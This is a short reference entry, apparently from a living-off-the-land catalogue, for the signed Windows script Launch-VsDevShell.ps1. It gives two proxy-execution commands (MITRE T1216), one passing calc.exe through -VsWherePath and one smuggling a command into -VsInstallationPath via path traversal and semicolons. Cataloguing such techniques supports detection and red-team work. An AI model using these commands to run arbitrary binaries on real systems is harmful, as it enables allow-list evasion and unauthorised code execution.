.. / Launch-VsDevShell.ps1
Star

Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet


Paths:

Resources:
Acknowledgements:

Detection:

Execute

Execute binaries from the context of the signed script using the "VsWherePath" flag.
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath "C:\windows\system32\calc.exe"
Usecase: Proxy execution
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1216



Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; calc.exe ;"
Usecase: Proxy execution
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1216